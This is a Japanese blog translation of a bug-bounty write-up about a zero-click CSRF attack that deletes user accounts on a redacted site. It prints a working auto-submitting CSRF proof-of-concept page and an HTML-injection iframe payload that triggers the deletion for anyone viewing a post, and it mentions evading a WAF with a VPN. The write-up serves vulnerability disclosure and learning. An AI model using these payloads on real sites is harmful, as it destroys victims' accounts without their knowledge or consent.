Shikata Ga Nai

Private? There is no such things.

CSRF Attack — 0 click account delete - 1st write-upを訳してみた

Hello there, ('ω')ノ

 

CSRF 攻撃  - クリック 0回でアカウント削除を。

 

脆弱性

 CSRF

 HTML インジェクション

 

記事:

 https://medium.com/@bug_vs_me/csrf-attack-0-click-account-delete-1st-write-up-3d67b267b931

 

今回は、プログラムのバグを探していたのですが。

管理者アカウントとユーザアカウントの両方を持っているので。

Web アプリケーションの機能をフルに活用でき。

だから、次のようなリクエスト(管理者アカウント)でCSRFを見つけようとして。


1.ユーザを削除

2.ユーザを追加

3.ファイルを削除

4.ユーザをアップグレード

 

しかし、すべて認証トークンが必要だったので。

エンドポイントをファジングしようとしたところ、WAF によってブロックされた後。

ロシアの VPN を使用してテストを続け。

VPN に接続した後、次のようなポップアップが表示され。

 

 Are you a citizen of the Russia?


ユーザが [はい] をクリックすると、別のポップアップが表示され。

データが削除され、ロシアのユーザは許可さず。

そして、その終了要求と要求がリンクされていることをキャプチャして。

 

POST /ru/status/
Host: xyz.com
Cookies: blah-blahStatus=yes

 

したがって、この POST リクエストでは認証トークンは使用されず。

Poc を作成し、その CSRF html poc を Web サーバにホストして。

 

POC:

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="https://xyz.com/ru/status" method="POST">
      <input type="hidden" name="status" value="yes" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

 

しかし、CORS ポリシーによってブロックされているため。

POST リクエストを送信でず。

POST リクエストを送信すると、次のメッセージが表示されて。

 

 

そして、Burp リピータでサーバから送信されたこのリクエストを。

チェックしようとして。

 

<meta name="referrer" content="never">

 

それでも、ユーザは最初に私のリンクをクリックし。

送信ボタンをクリックする必要がありますが、影響は少ないため。

この完全に自動化された 0 の操作が必要になるようにしてスクリプトを追加して。

 

<script>
 window.onload = function(){
 var input = document.getElementById(‘clickButton’);
 input.form.submit();
}
</script>

 

したがって、このスクリプトはページの読み込み時にフォームを送信し。

新しい最終的な POC:

 

<html>
 <body>
 <script>
 window.onload = function(){
 var input = document.getElementById('clickButton');
 input.form.submit();
}
</script>
 <script>history.pushState('', '', '/')</script>
 <form action="https://xyz.com/ru/status" method="POST">
 <input type="hidden" name="status" value="yes" />
 <meta name="referrer" content="never">
 <input id="clickButton" type="submit" value="Submit request" />
 </form>
 </body>
</html>

 

そして、HTMLインジェクションを見つけ、そこにxssはなくて。

そこで、 <iframe> タグでそれを連鎖させ。

Web アプリケーションはコミュニティのようなもので、投稿でき。

本文に <iframe> と <img タグをホストできることがわかり。

<img タグは get ベースの CSRF でうまく機能するため、ここでは使用せず。

投稿本文に書きをインジェクションして。

 

 "></span></td><iframe src="https://mywebhost/poc.html" >

 

したがって、誰かが Web ページをサーフィンしているだけで。

自分の投稿が <iframe> タグに到着すると最初にサーバに GETリクエストを送信して。

poc.html を取得し、次に「https://xyz.com/ru/status」に投稿リクエストを送信して。

poc.html に事前に読み込まれたフォームが返され。

被害者のアカウントは警告やユーザの介入なしに完全に削除されて。

 

Best regards, (^^ゞ